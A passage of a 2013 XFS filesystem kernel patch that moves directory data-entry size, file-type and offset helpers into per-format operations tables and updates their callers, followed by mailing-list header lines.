.data_dotdot_entry_p = xfs_dir2_data_dotdot_entry_p, + .data_first_entry_p = xfs_dir2_data_first_entry_p, }; const struct xfs_dir_ops xfs_dir2_ftype_ops = { @@ -223,6 +415,18 @@ const struct xfs_dir_ops xfs_dir2_ftype_ops = { .sf_put_ino = xfs_dir3_sfe_put_ino, .sf_get_parent_ino = xfs_dir2_sf_get_parent_ino, .sf_put_parent_ino = xfs_dir2_sf_put_parent_ino, + + .data_entsize = xfs_dir3_data_entsize, + .data_get_ftype = xfs_dir3_data_get_ftype, + .data_put_ftype = xfs_dir3_data_put_ftype, + .data_entry_tag_p = xfs_dir3_data_entry_tag_p, + + .data_dot_offset = xfs_dir2_data_dot_offset, + .data_dotdot_offset = xfs_dir2_data_dotdot_offset, + .data_first_offset = xfs_dir2_data_first_offset, + .data_dot_entry_p = xfs_dir2_data_dot_entry_p, + .data_dotdot_entry_p = xfs_dir2_data_dotdot_entry_p, + .data_first_entry_p = xfs_dir2_data_first_entry_p, }; const struct xfs_dir_ops xfs_dir3_ops = { @@ -234,4 +438,16 @@ const struct xfs_dir_ops xfs_dir3_ops = { .sf_put_ino = xfs_dir3_sfe_put_ino, .sf_get_parent_ino = xfs_dir2_sf_get_parent_ino, .sf_put_parent_ino = xfs_dir2_sf_put_parent_ino, + + .data_entsize = xfs_dir3_data_entsize, + .data_get_ftype = xfs_dir3_data_get_ftype, + .data_put_ftype = xfs_dir3_data_put_ftype, + .data_entry_tag_p = xfs_dir3_data_entry_tag_p, + + .data_dot_offset = xfs_dir3_data_dot_offset, + .data_dotdot_offset = xfs_dir3_data_dotdot_offset, + .data_first_offset = xfs_dir3_data_first_offset, + .data_dot_entry_p = xfs_dir3_data_dot_entry_p, + .data_dotdot_entry_p = xfs_dir3_data_dotdot_entry_p, + .data_first_entry_p = xfs_dir3_data_first_entry_p, }; diff --git a/fs/xfs/xfs_da_format.h b/fs/xfs/xfs_da_format.h index 68c2ad5..5b72dd2 100644 --- a/fs/xfs/xfs_da_format.h +++ b/fs/xfs/xfs_da_format.h @@ -456,72 +456,6 @@ typedef struct xfs_dir2_data_unused { } xfs_dir2_data_unused_t; /* - * Size of a data entry. - */ -static inline int -__xfs_dir3_data_entsize( - bool ftype, - int n) -{ - int size = offsetof(struct xfs_dir2_data_entry, name[0]); - - size += n; - size += sizeof(xfs_dir2_data_off_t); - if (ftype) - size += sizeof(__uint8_t); - return roundup(size, XFS_DIR2_DATA_ALIGN); -} -static inline int -xfs_dir3_data_entsize( - struct xfs_mount *mp, - int n) -{ - bool ftype = xfs_sb_version_hasftype(&mp->m_sb) ? true : false; - return __xfs_dir3_data_entsize(ftype, n); -} - -static inline __uint8_t -xfs_dir3_dirent_get_ftype( - struct xfs_mount *mp, - struct xfs_dir2_data_entry *dep) -{ - if (xfs_sb_version_hasftype(&mp->m_sb)) { - __uint8_t type = dep->name[dep->namelen]; - - ASSERT(type < XFS_DIR3_FT_MAX); - if (type < XFS_DIR3_FT_MAX) - return type; - - } - return XFS_DIR3_FT_UNKNOWN; -} - -static inline void -xfs_dir3_dirent_put_ftype( - struct xfs_mount *mp, - struct xfs_dir2_data_entry *dep, - __uint8_t type) -{ - ASSERT(type < XFS_DIR3_FT_MAX); - ASSERT(dep->namelen != 0); - - if (xfs_sb_version_hasftype(&mp->m_sb)) - dep->name[dep->namelen] = type; -} - -/* - * Pointer to an entry's tag word. - */ -static inline __be16 * -xfs_dir3_data_entry_tag_p( - struct xfs_mount *mp, - struct xfs_dir2_data_entry *dep) -{ - return (__be16 *)((char *)dep + - xfs_dir3_data_entsize(mp, dep->namelen) - sizeof(__be16)); -} - -/* * Pointer to a freespace's tag word. */ static inline __be16 * @@ -562,63 +496,6 @@ xfs_dir3_data_unused_p(struct xfs_dir2_data_hdr *hdr) } /* - * Offsets of . and .. in data space (always block 0) - * - * XXX: there is scope for significant optimisation of the logic here. Right - * now we are checking for "dir3 format" over and over again. Ideally we should - * only do it once for each operation. - */ -static inline xfs_dir2_data_aoff_t -xfs_dir3_data_dot_offset(struct xfs_mount *mp) -{ - return xfs_dir3_data_hdr_size(xfs_sb_version_hascrc(&mp->m_sb)); -} - -static inline xfs_dir2_data_aoff_t -xfs_dir3_data_dotdot_offset(struct xfs_mount *mp) -{ - return xfs_dir3_data_dot_offset(mp) + - xfs_dir3_data_entsize(mp, 1); -} - -static inline xfs_dir2_data_aoff_t -xfs_dir3_data_first_offset(struct xfs_mount *mp) -{ - return xfs_dir3_data_dotdot_offset(mp) + - xfs_dir3_data_entsize(mp, 2); -} - -/* - * location of . and .. in data space (always block 0) - */ -static inline struct xfs_dir2_data_entry * -xfs_dir3_data_dot_entry_p( - struct xfs_mount *mp, - struct xfs_dir2_data_hdr *hdr) -{ - return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_dot_offset(mp)); -} - -static inline struct xfs_dir2_data_entry * -xfs_dir3_data_dotdot_entry_p( - struct xfs_mount *mp, - struct xfs_dir2_data_hdr *hdr) -{ - return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_dotdot_offset(mp)); -} - -static inline struct xfs_dir2_data_entry * -xfs_dir3_data_first_entry_p( - struct xfs_mount *mp, - struct xfs_dir2_data_hdr *hdr) -{ - return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_first_offset(mp)); -} - -/* * Leaf block structures. * * A pure leaf block looks like the following drawing on disk: diff --git a/fs/xfs/xfs_dir2.h b/fs/xfs/xfs_dir2.h index 0e94b3e..c0a4592 100644 --- a/fs/xfs/xfs_dir2.h +++ b/fs/xfs/xfs_dir2.h @@ -50,6 +50,22 @@ struct xfs_dir_ops { xfs_ino_t (*sf_get_parent_ino)(struct xfs_dir2_sf_hdr *hdr); void (*sf_put_parent_ino)(struct xfs_dir2_sf_hdr *hdr, xfs_ino_t ino); + + int (*data_entsize)(int len); + __uint8_t (*data_get_ftype)(struct xfs_dir2_data_entry *dep); + void (*data_put_ftype)(struct xfs_dir2_data_entry *dep, + __uint8_t ftype); + __be16 * (*data_entry_tag_p)(struct xfs_dir2_data_entry *dep); + + xfs_dir2_data_aoff_t (*data_dot_offset)(void); + xfs_dir2_data_aoff_t (*data_dotdot_offset)(void); + xfs_dir2_data_aoff_t (*data_first_offset)(void); + struct xfs_dir2_data_entry * + (*data_dot_entry_p)(struct xfs_dir2_data_hdr *hdr); + struct xfs_dir2_data_entry * + (*data_dotdot_entry_p)(struct xfs_dir2_data_hdr *hdr); + struct xfs_dir2_data_entry * + (*data_first_entry_p)(struct xfs_dir2_data_hdr *hdr); }; extern const struct xfs_dir_ops xfs_dir2_ops; @@ -95,10 +111,10 @@ extern int xfs_dir2_isleaf(struct xfs_trans *tp, struct xfs_inode *dp, int *r); extern int xfs_dir2_shrink_inode(struct xfs_da_args *args, xfs_dir2_db_t db, struct xfs_buf *bp); -extern void xfs_dir2_data_freescan(struct xfs_mount *mp, +extern void xfs_dir2_data_freescan(struct xfs_inode *dp, struct xfs_dir2_data_hdr *hdr, int *loghead); -extern void xfs_dir2_data_log_entry(struct xfs_trans *tp, struct xfs_buf *bp, - struct xfs_dir2_data_entry *dep); +extern void xfs_dir2_data_log_entry(struct xfs_trans *tp, struct xfs_inode *dp, + struct xfs_buf *bp, struct xfs_dir2_data_entry *dep); extern void xfs_dir2_data_log_header(struct xfs_trans *tp, struct xfs_buf *bp); extern void xfs_dir2_data_log_unused(struct xfs_trans *tp, struct xfs_buf *bp, diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 960f3ab..7d7a8cc 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -280,6 +280,7 @@ out: static void xfs_dir2_block_compact( struct xfs_trans *tp, + struct xfs_inode *dp, struct xfs_buf *bp, struct xfs_dir2_data_hdr *hdr, struct xfs_dir2_block_tail *btp, @@ -323,7 +324,7 @@ xfs_dir2_block_compact( * This needs to happen before the next call to use_free. */ if (needscan) - xfs_dir2_data_freescan(tp->t_mountp, hdr, needlog); + xfs_dir2_data_freescan(dp, hdr, needlog); } /* @@ -369,7 +370,7 @@ xfs_dir2_block_addname( if (error) return error; - len = xfs_dir3_data_entsize(mp, args->namelen); + len = dp->d_ops->data_entsize(args->namelen); /* * Set up pointers to parts of the block. @@ -418,7 +419,7 @@ xfs_dir2_block_addname( * If need to compact the leaf entries, do it now. */ if (compact) { - xfs_dir2_block_compact(tp, bp, hdr, btp, blp, &needlog, + xfs_dir2_block_compact(tp, dp, bp, hdr, btp, blp, &needlog, &lfloghigh, &lfloglow); /* recalculate blp post-compaction */ blp = xfs_dir2_block_leaf_p(btp); @@ -468,7 +469,7 @@ xfs_dir2_block_addname( * This needs to happen before the next call to use_free. */ if (needscan) { - xfs_dir2_data_freescan(mp, hdr, &needlog); + xfs_dir2_data_freescan(dp, hdr, &needlog); needscan = 0; } /* @@ -549,18 +550,18 @@ xfs_dir2_block_addname( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, args->namelen); - xfs_dir3_dirent_put_ftype(mp, dep, args->filetype); - tagp = xfs_dir3_data_entry_tag_p(mp, dep); + dp->d_ops->data_put_ftype(dep, args->filetype); + tagp = dp->d_ops->data_entry_tag_p(dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); /* * Clean up the bestfree array and log the header, tail, and entry. */ if (needscan) - xfs_dir2_data_freescan(mp, hdr, &needlog); + xfs_dir2_data_freescan(dp, hdr, &needlog); if (needlog) xfs_dir2_data_log_header(tp, bp); xfs_dir2_block_log_tail(tp, bp); - xfs_dir2_data_log_entry(tp, bp, dep); + xfs_dir2_data_log_entry(tp, dp, bp, dep); xfs_dir3_data_check(dp, bp); return 0; } @@ -642,7 +643,7 @@ xfs_dir2_block_lookup( * Fill in inode number, CI name if appropriate, release the block. */ args->inumber = be64_to_cpu(dep->inumber); - args->filetype = xfs_dir3_dirent_get_ftype(mp, dep); + args->filetype = dp->d_ops->data_get_ftype(dep); error = xfs_dir_cilookup_result(args, dep->name, dep->namelen); xfs_trans_brelse(args->trans, bp); return XFS_ERROR(error); @@ -801,7 +802,7 @@ xfs_dir2_block_removename( needlog = needscan = 0; xfs_dir2_data_make_free(tp, bp, (xfs_dir2_data_aoff_t)((char *)dep - (char *)hdr), - xfs_dir3_data_entsize(mp, dep->namelen), &needlog, &needscan); + dp->d_ops->data_entsize(dep->namelen), &needlog, &needscan); /* * Fix up the block tail. */ @@ -816,7 +817,7 @@ xfs_dir2_block_removename( * Fix up bestfree, log the header if necessary. */ if (needscan) - xfs_dir2_data_freescan(mp, hdr, &needlog); + xfs_dir2_data_freescan(dp, hdr, &needlog); if (needlog) xfs_dir2_data_log_header(tp, bp); xfs_dir3_data_check(dp, bp); @@ -875,8 +876,8 @@ xfs_dir2_block_replace( * Change the inode number to the new value. */ dep->inumber = cpu_to_be64(args->inumber); - xfs_dir3_dirent_put_ftype(mp, dep, args->filetype); - xfs_dir2_data_log_entry(args->trans, bp, dep); + dp->d_ops->data_put_ftype(dep, args->filetype); + xfs_dir2_data_log_entry(args->trans, dp, bp, dep); xfs_dir3_data_check(dp, bp); return 0; } @@ -1023,7 +1024,7 @@ xfs_dir2_leaf_to_block( * Scan the bestfree if we need it and log the data block header. */ if (needscan) - xfs_dir2_data_freescan(mp, hdr, &needlog); + xfs_dir2_data_freescan(dp, hdr, &needlog); if (needlog) xfs_dir2_data_log_header(tp, dbp); /* @@ -1158,32 +1159,32 @@ xfs_dir2_sf_to_block( /* * Create entry for . */ - dep = xfs_dir3_data_dot_entry_p(mp, hdr); + dep = dp->d_ops->data_dot_entry_p(hdr); dep->inumber = cpu_to_be64(dp->i_ino); dep->namelen = 1; dep->name[0] = '.'; - xfs_dir3_dirent_put_ftype(mp, dep, XFS_DIR3_FT_DIR); - tagp = xfs_dir3_data_entry_tag_p(mp, dep); + dp->d_ops->data_put_ftype(dep, XFS_DIR3_FT_DIR); + tagp = dp->d_ops->data_entry_tag_p(dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); - xfs_dir2_data_log_entry(tp, bp, dep); + xfs_dir2_data_log_entry(tp, dp, bp, dep); blp[0].hashval = cpu_to_be32(xfs_dir_hash_dot); blp[0].address = cpu_to_be32(xfs_dir2_byte_to_dataptr(mp, (char *)dep - (char *)hdr)); /* * Create entry for .. */ - dep = xfs_dir3_data_dotdot_entry_p(mp, hdr); + dep = dp->d_ops->data_dotdot_entry_p(hdr); dep->inumber = cpu_to_be64(dp->d_ops->sf_get_parent_ino(sfp)); dep->namelen = 2; dep->name[0] = dep->name[1] = '.'; - xfs_dir3_dirent_put_ftype(mp, dep, XFS_DIR3_FT_DIR); - tagp = xfs_dir3_data_entry_tag_p(mp, dep); + dp->d_ops->data_put_ftype(dep, XFS_DIR3_FT_DIR); + tagp =dp->d_ops-> data_entry_tag_p(dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); - xfs_dir2_data_log_entry(tp, bp, dep); + xfs_dir2_data_log_entry(tp, dp, bp, dep); blp[1].hashval = cpu_to_be32(xfs_dir_hash_dotdot); blp[1].address = cpu_to_be32(xfs_dir2_byte_to_dataptr(mp, (char *)dep - (char *)hdr)); - offset = xfs_dir3_data_first_offset(mp); + offset = dp->d_ops->data_first_offset(); /* * Loop over existing entries, stuff them in. */ @@ -1224,12 +1225,11 @@ xfs_dir2_sf_to_block( dep = (xfs_dir2_data_entry_t *)((char *)hdr + newoffset); dep->inumber = cpu_to_be64(dp->d_ops->sf_get_ino(sfp, sfep)); dep->namelen = sfep->namelen; - xfs_dir3_dirent_put_ftype(mp, dep, - dp->d_ops->sf_get_ftype(sfep)); + dp->d_ops->data_put_ftype(dep, dp->d_ops->sf_get_ftype(sfep)); memcpy(dep->name, sfep->name, dep->namelen); - tagp = xfs_dir3_data_entry_tag_p(mp, dep); + tagp = dp->d_ops->data_entry_tag_p(dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); - xfs_dir2_data_log_entry(tp, bp, dep); + xfs_dir2_data_log_entry(tp, dp, bp, dep); name.name = sfep->name; name.len = sfep->namelen; blp[2 + i].hashval = cpu_to_be32(mp->m_dirnameops-> diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index ccfeb4d..571e173 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -62,12 +62,26 @@ __xfs_dir3_data_check( char *p; /* current data position */ int stale; /* count of stale leaves */ struct xfs_name name; + const struct xfs_dir_ops *ops; mp = bp->b_target->bt_mount; hdr = bp->b_addr; bf = xfs_dir3_data_bestfree_p(hdr); p = (char *)xfs_dir3_data_entry_p(hdr); + /* + * we can be passed a null dp here froma verifier, so manually configure + * the ops here in that case. + */ + if (dp) + ops = dp->d_ops; + else if (xfs_sb_version_hascrc(&mp->m_sb)) + ops = &xfs_dir3_ops; + else if (xfs_sb_version_hasftype(&mp->m_sb)) + ops = &xfs_dir2_ftype_ops; + else + ops = &xfs_dir2_ops; + switch (hdr->magic) { case cpu_to_be32(XFS_DIR3_BLOCK_MAGIC): case cpu_to_be32(XFS_DIR2_BLOCK_MAGIC): @@ -146,10 +160,10 @@ __xfs_dir3_data_check( XFS_WANT_CORRUPTED_RETURN( !xfs_dir_ino_validate(mp, be64_to_cpu(dep->inumber))); XFS_WANT_CORRUPTED_RETURN( - be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep)) == + be16_to_cpu(*ops->data_entry_tag_p(dep)) == (char *)dep - (char *)hdr); XFS_WANT_CORRUPTED_RETURN( - xfs_dir3_dirent_get_ftype(mp, dep) < XFS_DIR3_FT_MAX); + ops->data_get_ftype(dep) < XFS_DIR3_FT_MAX); count++; lastfree = 0; if (hdr->magic == cpu_to_be32(XFS_DIR2_BLOCK_MAGIC) || @@ -167,7 +181,7 @@ __xfs_dir3_data_check( } XFS_WANT_CORRUPTED_RETURN(i < be32_to_cpu(btp->count)); } - p += xfs_dir3_data_entsize(mp, dep->namelen); + p += ops->data_entsize(dep->namelen); } /* * Need to have seen all the entries and all the bestfree slots. @@ -485,9 +499,9 @@ xfs_dir2_data_freeremove( */ void xfs_dir2_data_freescan( - xfs_mount_t *mp, /* filesystem mount point */ - xfs_dir2_data_hdr_t *hdr, /* data block header */ - int *loghead) /* out: log data header */ + struct xfs_inode *dp, + struct xfs_dir2_data_hdr *hdr, + int *loghead) { xfs_dir2_block_tail_t *btp; /* block tail */ xfs_dir2_data_entry_t *dep; /* active data entry */ @@ -513,10 +527,10 @@ xfs_dir2_data_freescan( p = (char *)xfs_dir3_data_entry_p(hdr); if (hdr->magic == cpu_to_be32(XFS_DIR2_BLOCK_MAGIC) || hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC)) { - btp = xfs_dir2_block_tail_p(mp, hdr); + btp = xfs_dir2_block_tail_p(dp->i_mount, hdr); endp = (char *)xfs_dir2_block_leaf_p(btp); } else - endp = (char *)hdr + mp->m_dirblksize; + endp = (char *)hdr + dp->i_mount->m_dirblksize; /* * Loop over the block's entries. */ @@ -537,8 +551,8 @@ xfs_dir2_data_freescan( else { dep = (xfs_dir2_data_entry_t *)p; ASSERT((char *)dep - (char *)hdr == - be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep))); - p += xfs_dir3_data_entsize(mp, dep->namelen); + be16_to_cpu(*dp->d_ops->data_entry_tag_p(dep))); + p += dp->d_ops->data_entsize(dep->namelen); } } } @@ -625,11 +639,11 @@ xfs_dir3_data_init( void xfs_dir2_data_log_entry( struct xfs_trans *tp, + struct xfs_inode *dp, struct xfs_buf *bp, xfs_dir2_data_entry_t *dep) /* data entry pointer */ { struct xfs_dir2_data_hdr *hdr = bp->b_addr; - struct xfs_mount *mp = tp->t_mountp; ASSERT(hdr->magic == cpu_to_be32(XFS_DIR2_DATA_MAGIC) || hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || @@ -637,7 +651,7 @@ xfs_dir2_data_log_entry( hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC)); xfs_trans_log_buf(tp, bp, (uint)((char *)dep - (char *)hdr), - (uint)((char *)(xfs_dir3_data_entry_tag_p(mp, dep) + 1) - + (uint)((char *)(dp->d_ops->data_entry_tag_p(dep) + 1) - (char *)hdr - 1)); } diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index 51fdc11..dd19536 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -500,7 +500,7 @@ xfs_dir2_block_to_leaf( hdr->magic = cpu_to_be32(XFS_DIR3_DATA_MAGIC); if (needscan) - xfs_dir2_data_freescan(mp, hdr, &needlog); + xfs_dir2_data_freescan(dp, hdr, &needlog); /* * Set up leaf tail and bests table. */ @@ -700,7 +700,7 @@ xfs_dir2_leaf_addname( ents = xfs_dir3_leaf_ents_p(leaf); xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); bestsp = xfs_dir2_leaf_bests_p(ltp); - length = xfs_dir3_data_entsize(mp, args->namelen); + length = dp->d_ops->data_entsize(args->namelen); /* * See if there are any entries with the same hash value @@ -901,20 +901,20 @@ xfs_dir2_leaf_addname( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, dep->namelen); - xfs_dir3_dirent_put_ftype(mp, dep, args->filetype); - tagp = xfs_dir3_data_entry_tag_p(mp, dep); + dp->d_ops->data_put_ftype(dep, args->filetype); + tagp = dp->d_ops->data_entry_tag_p(dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); /* * Need to scan fix up the bestfree table. */ if (needscan) - xfs_dir2_data_freescan(mp, hdr, &needlog); + xfs_dir2_data_freescan(dp, hdr, &needlog); /* * Need to log the data block's header. */ if (needlog) xfs_dir2_data_log_header(tp, dbp); - xfs_dir2_data_log_entry(tp, dbp, dep); + xfs_dir2_data_log_entry(tp, dp, dbp, dep); /* * If the bests table needs to be changed, do it. * Log the change unless we've already done that. @@ -1230,7 +1230,7 @@ xfs_dir2_leaf_lookup( * Return the found inode number & CI name if appropriate */ args->inumber = be64_to_cpu(dep->inumber); - args->filetype = xfs_dir3_dirent_get_ftype(dp->i_mount, dep); + args->filetype = dp->d_ops->data_get_ftype(dep); error = xfs_dir_cilookup_result(args, dep->name, dep->namelen); xfs_trans_brelse(tp, dbp); xfs_trans_brelse(tp, lbp); @@ -1433,7 +1433,7 @@ xfs_dir2_leaf_removename( */ xfs_dir2_data_make_free(tp, dbp, (xfs_dir2_data_aoff_t)((char *)dep - (char *)hdr), - xfs_dir3_data_entsize(mp, dep->namelen), &needlog, &needscan); + dp->d_ops->data_entsize(dep->namelen), &needlog, &needscan); /* * We just mark the leaf entry stale by putting a null in it. */ @@ -1449,7 +1449,7 @@ xfs_dir2_leaf_removename( * log the data block header if necessary. */ if (needscan) - xfs_dir2_data_freescan(mp, hdr, &needlog); + xfs_dir2_data_freescan(dp, hdr, &needlog); if (needlog) xfs_dir2_data_log_header(tp, dbp); /* @@ -1561,9 +1561,9 @@ xfs_dir2_leaf_replace( * Put the new inode number in, log it. */ dep->inumber = cpu_to_be64(args->inumber); - xfs_dir3_dirent_put_ftype(dp->i_mount, dep, args->filetype); + dp->d_ops->data_put_ftype(dep, args->filetype); tp = args->trans; - xfs_dir2_data_log_entry(tp, dbp, dep); + xfs_dir2_data_log_entry(tp, dp, dbp, dep); xfs_dir3_leaf_check(dp->i_mount, lbp); xfs_trans_brelse(tp, lbp); return 0; diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 7d21125..c45d452 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -604,7 +604,7 @@ xfs_dir2_leafn_lookup_for_addname( ASSERT(free->hdr.magic == cpu_to_be32(XFS_DIR2_FREE_MAGIC) || free->hdr.magic == cpu_to_be32(XFS_DIR3_FREE_MAGIC)); } - length = xfs_dir3_data_entsize(mp, args->namelen); + length = dp->d_ops->data_entsize(args->namelen); /* * Loop over leaf entries with the right hash value. */ @@ -815,7 +815,7 @@ xfs_dir2_leafn_lookup_for_entry( xfs_trans_brelse(tp, state->extrablk.bp); args->cmpresult = cmp; args->inumber = be64_to_cpu(dep->inumber); - args->filetype = xfs_dir3_dirent_get_ftype(mp, dep); + args->filetype = dp->d_ops->data_get_ftype(dep); *indexp = index; state->extravalid = 1; state->extrablk.bp = curbp; @@ -1259,13 +1259,13 @@ xfs_dir2_leafn_remove( longest = be16_to_cpu(bf[0].length); needlog = needscan = 0; xfs_dir2_data_make_free(tp, dbp, off, - xfs_dir3_data_entsize(mp, dep->namelen), &needlog, &needscan); + dp->d_ops->data_entsize(dep->namelen), &needlog, &needscan); /* * Rescan the data block freespaces for bestfree. * Log the data block header if needed. */ if (needscan) - xfs_dir2_data_freescan(mp, hdr, &needlog); + xfs_dir2_data_freescan(dp, hdr, &needlog); if (needlog) xfs_dir2_data_log_header(tp, dbp); xfs_dir3_data_check(dp, dbp); @@ -1711,7 +1711,7 @@ xfs_dir2_node_addname_int( dp = args->dp; mp = dp->i_mount; tp = args->trans; - length = xfs_dir3_data_entsize(mp, args->namelen); + length = dp->d_ops->data_entsize(args->namelen); /* * If we came in with a freespace block that means that lookup * found an entry with our hash value. This is the freespace @@ -2007,15 +2007,15 @@ xfs_dir2_node_addname_int( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, dep->namelen); - xfs_dir3_dirent_put_ftype(mp, dep, args->filetype); - tagp = xfs_dir3_data_entry_tag_p(mp, dep); + dp->d_ops->data_put_ftype(dep, args->filetype); + tagp = dp->d_ops->data_entry_tag_p(dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); - xfs_dir2_data_log_entry(tp, dbp, dep); + xfs_dir2_data_log_entry(tp, dp, dbp, dep); /* * Rescan the block for bestfree if needed. */ if (needscan) - xfs_dir2_data_freescan(mp, hdr, &needlog); + xfs_dir2_data_freescan(dp, hdr, &needlog); /* * Log the data block header if needed. */ @@ -2228,8 +2228,9 @@ xfs_dir2_node_replace( * Fill in the new inode number and log the entry. */ dep->inumber = cpu_to_be64(inum); - xfs_dir3_dirent_put_ftype(state->mp, dep, args->filetype); - xfs_dir2_data_log_entry(args->trans, state->extrablk.bp, dep); + args->dp->d_ops->data_put_ftype(dep, args->filetype); + xfs_dir2_data_log_entry(args->trans, args->dp, + state->extrablk.bp, dep); rval = 0; } /* diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c index 2d2c8fb..b99aa7d 100644 --- a/fs/xfs/xfs_dir2_readdir.c +++ b/fs/xfs/xfs_dir2_readdir.c @@ -119,9 +119,9 @@ xfs_dir2_sf_getdents( * mp->m_dirdatablk. */ dot_offset = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, - xfs_dir3_data_dot_offset(mp)); + dp->d_ops->data_dot_offset()); dotdot_offset = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, - xfs_dir3_data_dotdot_offset(mp)); + dp->d_ops->data_dotdot_offset()); /* * Put . entry unless we're starting past it. @@ -237,7 +237,7 @@ xfs_dir2_block_getdents( /* * Bump pointer for the next iteration. */ - ptr += xfs_dir3_data_entsize(mp, dep->namelen); + ptr += dp->d_ops->data_entsize(dep->namelen); /* * The entry is before the desired starting point, skip it. */ @@ -248,7 +248,7 @@ xfs_dir2_block_getdents( (char *)dep - (char *)hdr); ctx->pos = cook & 0x7fffffff; - filetype = xfs_dir3_dirent_get_ftype(mp, dep); + filetype = dp->d_ops->data_get_ftype(dep); /* * If it didn't fit, set the final offset to here & return. */ @@ -601,7 +601,7 @@ xfs_dir2_leaf_getdents( } dep = (xfs_dir2_data_entry_t *)ptr; length = - xfs_dir3_data_entsize(mp, dep->namelen); + dp->d_ops->data_entsize(dep->namelen); ptr += length; } /* @@ -632,8 +632,8 @@ xfs_dir2_leaf_getdents( } dep = (xfs_dir2_data_entry_t *)ptr; - length = xfs_dir3_data_entsize(mp, dep->namelen); - filetype = xfs_dir3_dirent_get_ftype(mp, dep); + length = dp->d_ops->data_entsize(dep->namelen); + filetype = dp->d_ops->data_get_ftype(dep); ctx->pos = xfs_dir2_byte_to_dataptr(mp, curoff) & 0x7fffffff; if (!dir_emit(ctx, (char *)dep->name, dep->namelen, diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c index ec0d39b..953e194 100644 --- a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -251,11 +251,11 @@ xfs_dir2_block_to_sf( dp->d_ops->sf_put_ino(sfp, sfep, be64_to_cpu(dep->inumber)); dp->d_ops->sf_put_ftype(sfep, - xfs_dir3_dirent_get_ftype(mp, dep)); + dp->d_ops->data_get_ftype(dep)); sfep = dp->d_ops->sf_nextentry(sfp, sfep); } - ptr += xfs_dir3_data_entsize(mp, dep->namelen); + ptr += dp->d_ops->data_entsize(dep->namelen); } ASSERT((char *)sfep - (char *)sfp == size); xfs_dir2_sf_check(args); @@ -473,12 +473,12 @@ xfs_dir2_sf_addname_hard( * to insert the new entry. * If it's going to end up at the end then oldsfep will point there. */ - for (offset = xfs_dir3_data_first_offset(mp), + for (offset = dp->d_ops->data_first_offset(), oldsfep = xfs_dir2_sf_firstentry(oldsfp), - add_datasize = xfs_dir3_data_entsize(mp, args->namelen), + add_datasize = dp->d_ops->data_entsize(args->namelen), eof = (char *)oldsfep == &buf[old_isize]; !eof; - offset = new_offset + xfs_dir3_data_entsize(mp, oldsfep->namelen), + offset = new_offset + dp->d_ops->data_entsize(oldsfep->namelen), oldsfep = dp->d_ops->sf_nextentry(oldsfp, oldsfep), eof = (char *)oldsfep == &buf[old_isize]) { new_offset = xfs_dir2_sf_get_offset(oldsfep); @@ -555,8 +555,8 @@ xfs_dir2_sf_addname_pick( mp = dp->i_mount; sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; - size = xfs_dir3_data_entsize(mp, args->namelen); - offset = xfs_dir3_data_first_offset(mp); + size = dp->d_ops->data_entsize(args->namelen); + offset = dp->d_ops->data_first_offset(); sfep = xfs_dir2_sf_firstentry(sfp); holefit = 0; /* @@ -568,7 +568,7 @@ xfs_dir2_sf_addname_pick( if (!holefit) holefit = offset + size <= xfs_dir2_sf_get_offset(sfep); offset = xfs_dir2_sf_get_offset(sfep) + - xfs_dir3_data_entsize(mp, sfep->namelen); + dp->d_ops->data_entsize(sfep->namelen); sfep = dp->d_ops->sf_nextentry(sfp, sfep); } /* @@ -629,7 +629,7 @@ xfs_dir2_sf_check( mp = dp->i_mount; sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; - offset = xfs_dir3_data_first_offset(mp); + offset = dp->d_ops->data_first_offset(); ino = dp->d_ops->sf_get_parent_ino(sfp); i8count = ino > XFS_DIR2_MAX_SHORT_INUM; @@ -641,7 +641,7 @@ xfs_dir2_sf_check( i8count += ino > XFS_DIR2_MAX_SHORT_INUM; offset = xfs_dir2_sf_get_offset(sfep) + - xfs_dir3_data_entsize(mp, sfep->namelen); + dp->d_ops->data_entsize(sfep->namelen); ASSERT(dp->d_ops->sf_get_ftype(sfep) < XFS_DIR3_FT_MAX); } ASSERT(i8count == sfp->i8count); -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:07:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 